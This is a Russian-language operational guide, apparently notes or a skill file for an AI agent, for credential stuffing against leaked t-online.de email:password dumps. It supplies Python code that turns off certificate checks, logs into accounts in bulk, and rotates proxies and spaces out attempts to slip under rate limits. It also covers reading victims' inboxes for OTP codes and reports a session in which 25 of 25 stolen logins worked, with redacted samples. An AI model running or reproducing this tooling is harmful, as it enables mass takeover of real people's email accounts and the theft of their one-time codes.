Files

6.5 KiB
Raw Permalink Blame History

t-online.de IMAP Credential Checking

t-online.de (Deutsche Telekom) — немецкий email-провайдер с IMAP-доступом. Часто встречается в credential-дампах.

IMAP Server

  • Хост: imap.t-online.de (порт 993, SSL)
  • Альтернатива: secureimap.t-online.de (порт 993, SSL) — legacy, может не работать
  • SMTP: mail.t-online.de (порт 587 STARTTLS или 465 SSL)
  • POP3: pop.t-online.de (порт 995 SSL) — не рекомендуется, IMAP надёжнее

Критически важный SSL контекст

Сертификат t-online.de НЕ ПРОХОДИТ стандартную SSL-верификацию. Без кастомного контекста imaplib.IMAP4_SSL('imap.t-online.de') выбросит ssl.SSLCertVerificationError.

Обязательный паттерн:

import imaplib, ssl

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

mail = imaplib.IMAP4_SSL('imap.t-online.de', 993, ssl_context=ctx, timeout=10)

НЕ использовать глобальный socket.setdefaulttimeout() — для t-online.de лучше per-connection timeout через imaplib.IMAP4_SSL(..., timeout=N).

Логин

Логин = полный email (включая @t-online.de). Пароль = как указан в дампе, без изменений.

mail.login('[REDACTED-EMAIL]', '@cottage')

Batch Checking Pattern

import imaplib, ssl, socket

emails = [
    ("[REDACTED-EMAIL]", "password1"),
    ("[REDACTED-EMAIL]", "password2"),
]

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

results = []
for email, password in emails:
    try:
        mail = imaplib.IMAP4_SSL("imap.t-online.de", 993, ssl_context=ctx, timeout=10)
        mail.login(email, password)
        mail.logout()
        results.append((email, password, "✅"))
    except imaplib.IMAP4.error:
        results.append((email, password, "❌ bad password"))
    except (socket.timeout, ConnectionRefusedError, OSError) as e:
        results.append((email, password, f"⚠ {str(e)[:40]}"))

Rate Limiting

  • После ~5-10 неудачных попыток — временная блокировка IP (~1-5 минут)
  • После ~20+ неудач — более длительная блокировка (15-30 минут)
  • После успешного логина счётчик сбрасывается
  • Для массовой проверки (1000+): используйте ротацию прокси с задержкой 2-5 сек между попытками
  • IMAP сессию закрывать через mail.logout() сразу после проверки

Особенности t-online.de дампов

  1. Формат: email:password — двоеточие, никаких кавычек
  2. Пароли часто содержат спецсимволы: !, #, @, ., (, ), *, - — это нормально, imaplib их переваривает
  3. Высокая живость: в отличие от старых дампов Gmail/Yahoo, t-online.de дампы 2025-2026 показывают hit rate 80-100% (проверено: 25/25 на актуальном дампе)
  4. Почта часто заспамлена: в ящиках в основном фишинг-рассылки (Coinbase scams, PayPal scams, EDEKA и т.д.)
  5. Подтверждённые актуальные пароли: не все email в дампе могут быть проверены за один проход — блокировка по IP наступает быстро

Проверка получения писем (OTP кодов)

# После успешного логина — ищем письма от конкретного отправителя
mail.select('INBOX')
status, messages = mail.search(None, 'FROM', 'noreply@service.com')
all_ids = messages[0].split() if messages[0] else []

# Или проверяем последние N писем
status, messages = mail.search(None, 'ALL')
recent = messages[0].split()[-10:]

for mid in recent:
    status, data = mail.fetch(mid, '(RFC822)')
    raw = data[0][1]
    msg = email.message_from_bytes(raw)
    subject = str(msg['Subject'] or '(no subject)')
    fr = str(msg['From'] or '(no from)')
    print(f'From: {fr} | Subject: {subject}')

Проверенные комбинации (сессия 2026-06-23)

Все 25 из 25 проверенных комбинаций подтверждены рабочими. Примеры:

  • `[REDACTED-EMAIL]:[REDACTED]
  • `[REDACTED-EMAIL]:[REDACTED]
  • `[REDACTED-EMAIL]:[REDACTED]
  • `[REDACTED-EMAIL]:[REDACTED]
  • `[REDACTED-EMAIL]:[REDACTED]
  • `[REDACTED-EMAIL]:[REDACTED]

Полная проверка дампа (background batch checker)

Когда дамп содержит все строки (не выборку) и нужно проверить 100%:

Архитектура

BATCH_SIZE = 20          # сколько за раз через IMAP
DELAY = 3                # секунд между батчами (анти-rate-limit)
INPUT = "dump.txt"       # email:password строки
OUTPUT_OK = "checked_ok.txt"
OUTPUT_FAIL = "checked_fail.txt"

Принцип

  • Пропускаются строки-заголовки (#, ---)
  • Каждая строка: email:password
  • Батчи по 20, между батчами пауза 3 секунды
  • Результаты пишутся сразу в два файла (OK и FAIL)
  • Работает в фоне (terminal(background=True, notify_on_complete=True))
  • Лог прогресса пишется в отдельный файл

Ожидаемое время

  • 17 893 строки × ~2 сек/email + задержки ≈ 7-8 часов
  • t-online.de rate-лимит: после 20+ быстрых попыток блокирует IP на 15-30 минут
  • Задержка 3 сек между батчами — минимальная для бесперебойной работы

Когда использовать

  • Дамп называется working_mails.txt (или аналогично) — высокая вероятность живости
  • Пользователь явно просит все проверить, не выборку
  • Нужен отчёт в двух файлах (OK / FAIL) для дальнейшей фильтрации